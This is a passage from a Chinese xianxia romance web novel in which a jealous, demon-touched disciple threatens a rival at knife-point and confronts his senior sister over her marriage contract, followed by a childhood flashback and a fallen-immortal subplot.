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他挑眉,声音低缓,带着几分讥讽和戏谑:“也许是下了毒,等着我命悬一线逼着我向你跪地求饶,又或者威胁我替你做事……” “你和你哥,都是一丘之貉。” 说到最后,他眼神彻底冷了下来,目光锋寒锐利地像把刀。 他口中的这些,都是上辈子的恩怨了,自然没人能听得懂其中的“意有所指”。 贺玄音拍了拍他,严肃道: “师弟,不得无礼。” 他冷笑一声,完全不放在心上。 离光奕咬牙切齿地瞪着他,气愤道:“要不是因为你是我嫂嫂的师弟,鬼才愿意和你说一句话呢!” “我恨不得扒了你的皮,把你丢到炼魔窟里……” “你说什么?”他的声音骤然拔高,生硬地打断了离光奕。 “你说谁是你嫂嫂?” 顾钧寒的气场完全变了,戾气在眉眼迸发,叫人生出脊背发凉的寒意。 吓得离光奕整个人愣在原地,声线颤抖,半天说不出一句完整的话。 “你…你这是什么眼神啊……” 她脚下不自觉往后退了半步,身子一顿,才堪堪反应过来情况。 自尊心驱使着她定住脚步,大喊道:“明月仙子就是我嫂嫂,签过婚贴,见过宗祠的嫂嫂!” 贺玄音解释道:“你不知道也正常,是刚发生的事情。明月是为了进神仙碑才签下的。” “签下的什么?”他瞪大眼睛,不死心地追问道。 “婚帖。” 这两个字,如同锈钉凿骨般敲打着他的神经。 他掌心攥着床单,几乎快将那素色绫罗绞出裂痕。眼神沉得发直,愈来愈暗,如墨的黑瞳中不甘和愤怒难掩。 楼明月,你骗我。 你又骗我!! 什么狗屁一辈子,做下承诺的是她,到头来记住得却只有自己一个人! 离光宸算什么东西?他也配?他有几条命,也敢觊觎自己守了两辈子的人? “滚!滚出去!” 他一把扬翻了药盏,瓷碗砸落在地,汤药溅了两人一身。 “都给我滚——” 他情绪变得失控,胸膛上下起伏,邪气开始蹭蹭往外冒。 这副骇人可怖的模样,吓哭了离光奕,贺玄音见状只能追着她出去。 顾钧寒胸前的妖珠浮起,散发的微弱萤光不断消解戾气,替他掩盖气息。 他眼眶通红,像是受了极大委屈一般,眼底翻涌着近乎狰狞的偏执,将那点脆弱衬得愈发刺骨。 这么多年了, 他心里第一次开始涌现出恨意。 他恨楼明月,恨她怎么能一次又一次地辜负自己。 从前是因为不记得,是因为伏心树,如今又是因为什么? “不喜欢。” 心底的另一个声音响起,激化放大着他的情绪。 “因为她,根本就不喜欢你。” …… …… “不喜欢吗?” 他扬唇冷笑。 “姣姣,只能喜欢我。” 都是外面那些野男人勾搭她,她才会一时糊涂的。 离光宸…… 他目光如炬,眼底是隐忍压抑的暴戾,张唇轻吐出两个字。 “找死。” 20. 第 20 章 离光宸从宗祠出来后顿感疲惫,径直回到了自己房里。 他刚推开门,房内未燃烛火,一片昏暗,借着门外投入幽室的月光,才看清了屋内的一片狼藉。 他愣了一下,意识到有人闯入,警惕地扫视着周围。 小心迈步其中,左右探查,最后在凳椅上冷不丁瞥见一道黑影。 那人低着头,辨不清神色。 一束马尾从肩头垂落,尾部稍卷的发丝随着身体和呼吸轻晃。一言不语,压迫感极强。 离光宸光是看到这样一个人影,就能感受到他对自己的浓浓杀意。 “你究竟是什么人?”他厉声质问。 “这里是奉仙台,你竟然敢在我眼皮底下行窃!” 对面发出一声不屑的嗤笑,顺手扬翻了茶盏。 杯子“咔哒”一声滚落在地,碎成一地瓷片。 “这些破烂,也犯得着让我惦记?” “我来这儿只有一个目的,你的命,我要了——” 离光宸死盯着他,“好大的口气,那便让我看看你的本事!” 他随手拔出腰间佩剑,朝着顾钧寒刺了过去。 剑气如同万刃环围,将他重重包裹,却始终无法突破。 “九鸾枪,去——” 护身罩破开的那瞬间,一柄红缨长枪冲了出去,以迅雷不及掩耳之速击中他的胸膛。 离光宸重重摔在地板,落地前一刻将手中的青锋剑往前扔去。 顾钧寒一时不察,长剑擦过他的臂膀,留下一道伤痕,洇出丝丝血珠。 九鸾枪压制着他,让他无法动身。 屋外传来一阵脚步声,一人一兽,愈来愈近。 反应过来的顾钧寒立刻屏息凝神,死死钳制住地上的离光宸,不让他再发出一丁点动静。 那人敲了敲房门,问道: “离光少主在吗,我有些事找你。” 顾钧寒听出了楼明月的声音,心底冷笑一声,目光幽怨地盯着那道与自己一窗之隔的身影。 他死死咬紧牙关,浑身青筋暴起,像是一头炸毛的狼犬。 楼明月! 你还敢来找他!!! 姣姣,真是不乖啊…… 他用送音咒,将自己的声音单独传入离光宸脑海中。 “高兴吗,你的救星来了。”他恶狠狠地问。 离光宸被扼住了喉咙,只能发出些可怜的呜咽声,身子颤栗着不断挣扎。 等不到回应的楼明月又敲了敲门,“离光少主?你在吗?” “我师姐问你话呢,说啊。” 他无声地笑着,神情隐没在一片阴影里,看起来如厉鬼般癫狂可怖。 离光宸喉结动了动,刚奋力发出一个嘶哑的音节,顾钧寒的声音便又在脑海中响起,阴鸷凶狠,让人不寒而栗。 “说错一个字,我立马让你人头落地。” “我会用这把短刀,横向割断你整个脖子,直到刀尖触地……” 离光宸闻言瞳孔猛地一缩,吓得顿时哑音。 他的视线落在窗棂上的那道身影,多么希望她能直接推门而入,把这个疯子带走! 顾钧寒扼住自己的手松了力道,锋锐的短刀却毫不留情地抵在自己脖颈。 他几乎快要崩溃了,在对方的威胁下,只能道:“我已经歇下了…有什么事情,明天再聊吧——” 希望他还有明天。 他不禁想,楼明月走后,这个疯子真的会放过他吗? 他到底是哪里招惹了他? 这等凶恶阴险之人,又是怎么躲过检查混入奉仙台的? 楼明月自然听出了他声音的颤栗,敲门的手滞在半空,盯着窗棂沉思半晌。 化成人形的悱悱拽住她,感应到了里面的危险气息,忙不迭地催她走。 “吱呀”一声—— 楼明月最终还是推开了房门,一览无余看到了这副场景。 月光透过门缝,映入他漆黑的瞳孔。 他抬头,毫无预兆地与楼明月对视。 凶狠暴戾的眼神顿滞,心一沉,仿佛坠入无尽渊底。 她的视线,扫过他错愕的神情,扫过地上被折磨到奄奄一息的离光宸,最终落在他鲜血淋漓的臂膀上。 “放手。” 她眉眼愠怒,语气还算平静。 对此意料之中。 从离光奕同她告状顾钧寒摔了药盏的时候,她就料到离光宸会有这一遭。 只是没想到这么快。 顾钧寒的报复心,远比她想的要强。 他的拳头攥紧又松开,在楼明月的眼神威胁下,还是放过了离光宸。 地上重获新生的离光宸,悬着的心终于落下,张开嘴大口大口地喘息着。 缓过来后,立刻手脚并用爬到离他最远的角落。 “他、他要杀了我,这个疯子要杀了我!” 他激动地看着楼明月,仿佛看到了救世主一般。 顾钧寒空笑一声,锐利的眼神扫过去,又让他噤若寒蝉。 于是他直直望着楼明月,把所有的期望都放在这位“转世仙子”的身上。 仙人圣洁,最是公正无私,一定会为他主持公道。 即便是她的师弟,也应当严惩狠罚这头暴戾伤人的猛兽! 这是他的心里话,虽然没有直白地说出来,但表达得也大差不差。 楼明月点了点头,似是听进去了。 “离光少主,我师弟行事冲动是我管教不严,我代他向你道歉。” “……” “……” 离光宸傻眼地望着她,等了半晌。 这就没了? 他刀都架在自己脖子上了?道个歉就没了吗?!还是别人代为道歉,那家伙分毫没有悔过的态度! 他动了动唇,刚欲说些什么,楼明月已经拽起地上的顾钧寒走了。 他追了出来,却被顾钧寒回头的一个眼神喝退。 直觉告诉他,这个疯子是不会罢休的。 这一点,楼明月心里也清楚。 她维护离光宸维护得越狠,对方被搞死的速度就越快。 她既没让顾钧寒受罚,也没让他道歉,态度几乎可以说是偏袒。 本以为这样能安抚他的情绪,没想到他还是不依不饶,迈步进门的那一刻,就把自己反手压在墙上。 楼明月的妖珠已然压不住他外溢的邪气,灰白眼底被密密麻麻的红血丝占据,黑瞳边缘泛起一点艳红。 楼明月看着他这副样子,呼吸一滞,心中惊诧不已。 古籍《三千界》有载,红瞳是邪神陷入心魔时的状态。 邪神一生,共有三场大劫要渡。 第一场,蒙顿。在遇到一个真心待他的人之前,他将感知闭塞、法力全无,心神一直处于蒙顿状态。 第二场,循恶。感知被唤醒后,他体内的邪气将不受控制地奔涌,招来无数修士的刀剑棍棒。然后在这样人人喊打的境况下,滋养出心魔。 第三场,问心。修为达到化神阶后期,九重天便会降下三千道雷劫。 楼明月是唤醒他感知的人,妖珠又替他隐蔽了数十年邪气。 上辈子两场大劫就这么过去了。 第三场大劫降临的时候,他遭到了玉京仙门的袭击,没能挺过三千雷劫,半伤不死。 楼明月不可置信地盯着他,忽略掉他眼中的不甘和愤恨,一遍又一遍地确认着他的状态。 这是她第一次看见这个状态的顾钧寒。 这辈子……为什么会有心魔呢? 他锢着自己手腕的力气越来越大,整个身子压了上去,逼得她难以喘息。 “顾钧寒,你得冷静下来,你现在是被心魔控制了……” “什么心魔啊…”他凑在她耳畔,不屑道:“我就是他,他就是我。” “我对你做的事,不过是他早就想做的!我对你说的话,更是他闷在心底早就想说的!” 楼明月偏头躲避,“你想说什么?” “我想说的有很多,想一个一个跟你翻旧账,可你又都不记得。” 他唇角微勾笑着说出的话,精准踩中楼明月的痛点,也让她觉察出对方浓重的怨念。 顾钧寒眼神直白,不肯罢休地盯着她,声音低沉嘶哑,压抑着怒气。 “那就说说你尚且记得的吧。” “你怎么能和他签婚书,怎么能三更半夜去找他,怎么能和他说话,你不知道……我的心也是会疼的吗?” 他伸手,指腹在她眼尾游离。 “这双眼睛这么漂亮,就该只盯着我一个人啊。” 他笑,眉头轻挑,眼中癫狂直白的恨意让她心头猛然一颤。 “我讨厌你和他们说话,讨厌你把目光投向他们,每次看到你和别人接触,我的心就像是被人剜掉了一块儿肉……” “你这么聪明,你看不出来他们对你龌龊肮脏的心思吗?你看不出来我有多想杀了他们吗?!” 楼明月声音一顿,意识到什么。 “你在恨我,对吗?”她试探道。 所以心魔的出现,是因为恨吧。 两辈子了,他竟是第一次恨自己。 楼明月想到这一点,就不忍心喝斥他了。 恨是一场铺天盖地的委屈,当他再也不能独自吞咽下这委屈的时候,心魔就接过他的情绪,在心底一点点滋生。 “我不该恨你吗?我不该恨你吗楼明月?!” “我就是条召之即来挥之即去的狗也有发疯的时候!” “你承诺我的那么多,每一个字我都记得清清楚楚!每一个字都是笑话、都是对我的侮辱!” 他眼眶腥红,像是受了极大的不公。 “一刻钟不到,你就和他签下婚帖,轮到我就是百般不愿千般抗拒!” 楼明月懵了,茫然地眨了眨眼。 “轮到你……?” 和顾钧寒签婚帖都是上辈子的事情了,现在的他怎么会知道? 她紧张地舔唇,眼神试探地问道:“我什么时候和你签过婚帖?” 他冷笑一声,温柔地牵过她的手腕,报复般恶狠狠地咬在脉搏。 尖锐的牙齿刺破她手腕内侧最柔软的肌肤,锐利的痛感袭来,楼明月“嘶”了一声,疼得右手轻颤。 蹙着眉头想要拽回自己的胳膊,那人闷头咬得更重了,又疼又麻,气的她没忍住喝斥。 “顾钧寒…混账!住口啊!” 他语气生硬,眼神不善。 “想知道这个问题,就先回答我的问题。” 楼明月无奈地叹了口气,连连点头,态度诚恳。 “你说的对,是我对不住你,你应该恨我……” 如果她以前真的欺骗过顾钧寒的感情,让人恨一恨也没什么。 楼明月啊楼明月, 如今这些都是你惹出来的风流债! “姣姣,为什么和他签婚帖,你喜欢他吗?” 他轻笑着亲吻她的手,声音低哑温柔,看似波澜不惊的双眸内里却藏着惊涛骇浪。 楼明月看着眼前这个阴晴不定的心魔,实在不敢去触他的霉头。 “我…闯了离光氏的禁地,他们让我用姻亲作赔,我还想再进去捉拿墟魇兽,所以就同意了。” “至于离光宸,我和他不过一面之交,谈不上喜欢。” 他“嗯”了一声,低头紧紧攥住她的手腕,指腹摩挲着手腕内侧的伤口,感受着心上人的颤栗。 “我知道,姣姣是不会抛弃我的。” “这不怪你,他们这样对你,我一定会杀了他们给你报仇——” 楼明月看着他坚定的眼神,急忙拉住他的胳膊,“不行、你不能动手!” 他脸上的笑意顿时沉了下来。 “怎么,你心疼他?” “哦,对了,我忘了日久也能生情。” 如果不是她突然推门而入的话,离光宸现在已经是一具凉透了的尸体。 “白天和他签了婚帖,晚上又迫不及待地去找他……” 他眯了眯眼睛,眼神像钩子般咬住她不放,“为什么啊姣姣?” 楼明月一时无语,简直要气笑了。 男人无理取闹起来也够棘手的。 “我根本就不是去找他,而是去找你。” “小奕说你打翻了药盏,我另熬了一碗药去你房里却找不到你,我就猜到你会去找离光宸的麻烦!” “我当然要去找他!” “他敢觊觎你就该死!” 他冷笑着,死盯着眼前人。 突然间好恨,恨得咬牙切齿,竟是恨到想把她的骨血一寸寸嚼碎,一口口咽下。 然后,和她融为一体…… 再不让任何人窥视他的姣姣明月。 楼明月顶着他的目光,第一次感到不寒而栗。 疯子。 顾钧寒本就是个疯子,他的心魔只会比他更疯。 可是…… 她脑海中又记起一个身影,思绪倏然一停。 可是,我年幼时见他的第一面,他也是这样歇斯底里的疯子吗? 不是的…… 不是的。 那时候的他,只是一个安安静静缩在角落里,即便被人砸死也不会吭声的傻子。 是谁把他变成这样的? 楼明月沉默了。 他第一次失态是什么时候?是因为什么? 他的怨念是什么时候积攒到了极点?是什么时候磋磨扭曲了他? 全都不记得了…… 她失去了和他近十年的记忆。 然后,在她有记忆的第一天,在苍梧山的收徒大典上看到顾钧寒时,就已经把他视作洪水猛兽,避之不及。 “那——” “我该怎么做,你才会好受一点?” 他讥讽大笑,“楼明月,别再假惺惺地哄我了。” “你以为我不知道在你心里我是什么东西吗?!我是不择手段的疯子、猪狗不如的畜牲!是罪大恶极的邪祟!” 楼明月双眸失神,脑海中蓦然多出一段记忆。 “阿渊……是我最亲近的人。” “阿渊,你希望我这样叫你吗?” 听到这个称呼的顾钧寒愣住。 眼神轻颤,卸下了尖锐,终于肯露出一点柔软。 * 沧澜九年,伊冬。 顾钧寒成为太清宫外门弟子不过一年,几乎一半的时间都凑在她身边。 那时候的楼明月,尚且九岁,还没见识过大绯山烧死整个?貐妖族的通天大火。 但师父已经开始限制她的交往,禁止她与旁人产生过多情谊,每一个靠近她的外门弟子,都会受到惩戒。 对于顾钧寒,这个她亲手招来的师弟,她像是护宝一般比谁都爱护。 可她越是在意,顾钧寒被杖打的就越狠。 她看着他满身青紫的伤痕,于心不忍,于是开始疏远他。 她瞒着他,偷偷跑到了渡溪苑——太清宫上一任宫主楼倾司的居所。 楼倾司是楼溪滕和楼芷若的舅舅。 他抚养这对姐妹长大时颇为严厉,楼芷若在十四岁时叛逃离家,他一边愤懑一边把所有压力覆加在楼溪滕身上,导致后来楼溪滕的性格偏执古怪。 人老之后,楼溪滕逐步接手他的位置,如他当年一般专横。 他曾经以错误的方式培养楼溪滕,楼溪滕又继续以这种方式培养楼明月。 他眼睁睁看着这一切,心中后悔却为时已晚。 所以对于楼明月,他即愧疚又无能为力。 这些往事,楼明月并不知道。 在她的印象里,楼倾司不是什么专制严厉的宫主,只是一个慈爱的舅爷爷。 姣姣这个小名,最开始只有楼倾司会这么叫。 她来到渡溪苑之后,顾钧寒没过多久也找了过来。 “我们姣姣,是交新朋友了吗?” 躺椅上的楼倾司一边摇着扇子一边笑着问她,目光看向束手束脚躲在角落里的顾钧寒。 小明月瞥了一眼他的方向,生气道:“没有!我跟他根本不熟!” 她扭过头,闷声道: “姑姑不让我和别人接触的。” 楼倾司闻言嘴角笑意僵住,叹了口气,不知道该说些什么好。 对于楼溪滕的管束,他倒是想为楼明月求情,可他曾经也是这么要求楼溪滕的。 他和对方已经数十年不曾开口讲话了,在意识到对她怀有愧疚的那一刻起,就已经失去了开口劝诫她的资格。 楼倾司只能无奈道,“大概……姑姑也以为这样是为你好吧。” 他抬头,看了看日头。 “我看你不理他,那小子就要一辈子赖在我这儿不走喽。” “去吧,舅爷爷不会偷听的。” 楼倾司从躺椅上起身,带着些许惆怅回到了自己房里。 小明月不肯回头看他,一个人坐在地上,闷头拔草。 指尖陡然被锯齿状的根茎割破,鲜红血珠顷刻凝聚,顺着指缝汩汩坠下。 “姣姣,用这个吧——” 她抬头,顾钧寒不知什么时候走近,递给她一方干净的帕子。 “你不能这么叫我!” 她闻言猛地窜起身,双手叉腰认真说教道:“小名是只有最亲近的人才能叫的,不能随便叫!” 小顾钧寒愣了一秒,干净澄澈的瞳孔蓦然睁大,讶然地看着她。 “我不能这么叫吗?”他问。 我不是你最近亲的人吗? 他一脸委屈的神情,看的楼明月有些心虚。 但是想起他被姑姑罚的那些棍棒,还是狠心道:“当然不是!” “我是你师姐,但……整个翠微山有那么多人都是你的师姐,也有那么多人都是我的师弟。” “你不要总缠着我一个人了,姑姑知道了会罚你的!” “人常道,吃一堑长一智。你都吃了十几顿棍棒了,到底什么时候能学乖!” 他仿佛没听到一般,赌气似地再次问道:“我不能这么叫你吗?” 我不算你最亲近的人吗? “不能!”她斩钉截铁道。 他在心底冷哼一声。 哦,那 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“阿渊,冷静下来。” 听到这个称呼,他瞳孔的红色逐渐褪去,回归了原本的漆黑。 另一旁的离光宸。 他卧坐在榻上,领口衣裳尽敞,离光奕正在替他清理伤口。 九鸾□□出的伤口形状特殊,棱形伤口上伴有严重的灼痛感,无论什么膏药都无法消解它的烈性。 离光奕突发奇想,用朝圣池里的圣水试了试,果然止住了不断往外冒的血。 几滴圣水落在他手背上,聚成一股,缓缓往下流坠,却在碰到某个地方时产生异样,直接腐蚀掉了那一块儿皮肤。 “嘶——”他疼得直叫唤。 “你往圣水里加了什么东西?!” 离光奕一脸茫然,“我就只打了一瓶圣水,什么都没加啊……” 他不可思议地看着自己被灼伤的左手。 圣水是奉仙台特有的宝物,它在朝圣池里汲取日月精华以及奉仙仙气,能够去浊塑根,增进修为。 对修士、人族乃至妖族,都是有益无害,但唯独会灼伤邪祟。 他从小在奉仙台长大,早就服用过不止一次圣水。体内淤塞的灵脉都是靠圣水滋养才打通的,怎么可能突然就被圣水灼伤呢? 离光宸盯着那一小块儿被腐蚀的肌肤,紧蹙的眉头突然舒展,一副恍然大悟的神情。 圣水要腐蚀的根本不是他,而是他手上沾染的另一个污秽之人的血! 他突然激动道:“小奕,去…去给我拿更多的圣水来!” 他的眼神在黑暗中变得更加阴鸷,呵了一声,扯出一抹诡笑。 顾钧寒,你竟然是邪! 你等着吧,我要让整个玉京都知道你的身份,我要让你变成人人喊打的过街老鼠! 我倒要看看你那个高高在上的仙人师姐,还能怎么护着你…… * 按照悱悱的说法,神仙碑算是她的“地盘”。 她趁离光氏没有察觉,一只妖在里面呆了数十年。 吸食仙气,增强自己的妖力,从最初的一团小精灵逐步修炼出自己的妖身和人形。 她一直以为,只有自己这只来自虚弥山的妖才会那么聪明,知道躲在这里偷偷修炼! 直到有一天,她来到碑林的边缘。 她平常惯爱吸食柱碑上的仙气,对各路神仙都有所了解,但却是第一次看到既没有铭文也没有仙气的柱子。 她感到好奇,绕着柱子左三圈右三圈地转来转去。 “砰”的一声,柱前突然幻化出一道人影。 悱悱被吓得不敢抬头也不敢动,以为大逆不道偷食仙气的自己终是要被审判了。 “你抖什么——”那人问道。 “大大、大罗神仙在上,我再也不敢了,您饶了我吧……” 那人笑了一声,对这个称呼似乎很满意。 “让本座饶恕你也不是不可以,除非你……” “我走我走我现在就走!我保证再也不会踏足这里,让您眼见心烦——” 她趴在地,上伏着脑袋,“大罗神仙”说的是什么根本没听清,自顾自地一通乱答。 对方闻言十分气恼,“谁让你走了!你这小妖精想的倒美!” 他一生气,声音就变了调。 粗嗓厉怖,余音还回荡在悱悱耳畔,激得她缩了缩身子。 她跪在原地愣了几秒,随后才反应过来,仙人怎么可能是这样的? 她抬头,措不及防地看到对方的真容。 和仙人的慈蔼平和不同,面前这个飘在半空的人影更像是一道幽魂,身上积攒了许多幽暗的怨气。 最无法忽视的,是他被毁掉的面容。 悱悱完全无法描述他的长相,他的脸上布满了密密麻麻的伤痕,左一道右一道,有的甚至贯穿整个脑袋,看起来像是被人硬生生切割了一样。 他没有眼睛,猩红眼眶里孤零零跃动着一团黑气。 悱悱倒吸了一口凉气,眼睛一翻,被吓晕过去。 等她醒来的时候,那座无铭碑已经不见了,一切都像是场噩梦。 她立刻撒开腿狂奔出去。 原本决定再也不踏足神仙碑,奈何出去了四个月,挨饿了四个月,最终还是没忍住回到了这里。 幸运的是,她再没遇见过那座无铭碑,也再没看到过那个幽魂。 如今听到楼明月要专门去找那个幽魂,她是一千个一万个不愿意。 “你以为装死这招能一直管用吗?” “他上次没吃掉我那是我运气好!像你这样模样好的、血比较甜的,就是死了不新鲜了他也愿意吃的!” 楼明月无奈地笑了,敲了敲她的脑袋。 “我不是去给人当干粮的。” “他就是我来奉仙台要找的——堕仙。” 顾钧寒在朝圣台上已经遇到了他,并与之大打出手。 他为了逃脱选择自爆一缕元神,空气中残存的元神碎片被执事录所搜集,比对分析出了他的身份。 上古归墟秘境中的东西,大致分为两类。 一、“并行世界”。是人的极端执念作祟,魑魅魍魉横行蔽日。天媱母神不忍众生变鬼魅,便将他们的执念流入归墟,演化为一股力量,衍生出由他们意志所改变的并行世界。 二、“墟魇兽”。是天地孕育之初,造物主造物失败后丢弃的各种怪物。 而这个在奉仙台藏身的“幽灵”,属于第二类。 只是他的身份格外特殊些,是一个被元初父神遗弃的堕仙。 元初父神在人间有成百上千座庙宇,香火连天信子无数,烛火长明彻夜不歇。 谛惊是其中一座庙宇的香炉鼎,某天父神选中了它,以它为介质降临人间,反哺众生福泽。 从此之后这座庙宇,这座炉鼎,承受的香火是原来的数百倍。 谛惊在这样源源不断的虔诚供奉下,逐渐生出了自己的意识。 他牢牢攥住父神在鼎中留下的那抹气息,化形时竟然变成了元初父神的法相。 他对香火有着非同一般的痴迷,以这副法相哄骗着众生为他塑像上香,修为很快就到了化神后期,即将飞升进入上清神域。 他虽然很想成为真正的神仙,但害怕自己这副样子到了神域,一切真相大白,受到元初父神的审判。 于是在雷劫降临的那一天,选择倒行逆施自己的经脉,成为一个堕仙。 堕仙谛惊,贪恋香火,喜食人心,危害一方。 元初父神出关后,很快就注意到了他。 看着打着自己的名义招摇撞骗、残害百姓的谛惊,盛怒之下毁了他的声貌,将他流放在归墟秘境上千年。 他趁着归墟秘境的封印破碎,随着那些墟魇兽和执念一起逃了出来。 其他人都在尽力隐藏自己的踪迹,唯有他敢上闯至奉仙台。 第二次进入神仙碑,楼明月在碑林中心点燃了三炷信香。 香霭缓缓升起,在空中顺着微弱的风流摆动。 楼明月施法控制了风的流向,保证这些香霭能够绕过神仙碑里的每一座高柱。 不过须臾,香柱后便闪现出一道人影。 他急切地伸出手,任由那些香霭穿透自己,身体的每一个部分都在感受着香火的气息。 楼明月看着他这副姿态,唇瓣稍启,轻笑一声。 “我猜,已经几千年不曾有人给你上过香了吧?” “乖乖跟我回去,我倒是可以考虑每年给你喂点信香。” 他不屑地冷呵一声,用那双黑气铸造的眼睛死死盯着她。 “你当本座是叫花子,这么好打发?” “我化形的时候,你轮回的还是畜生道呢!你也配这样跟本座说话?!” 楼明月并未动怒,似笑非笑地望着他。 “偷来的东西,是要还的啊——”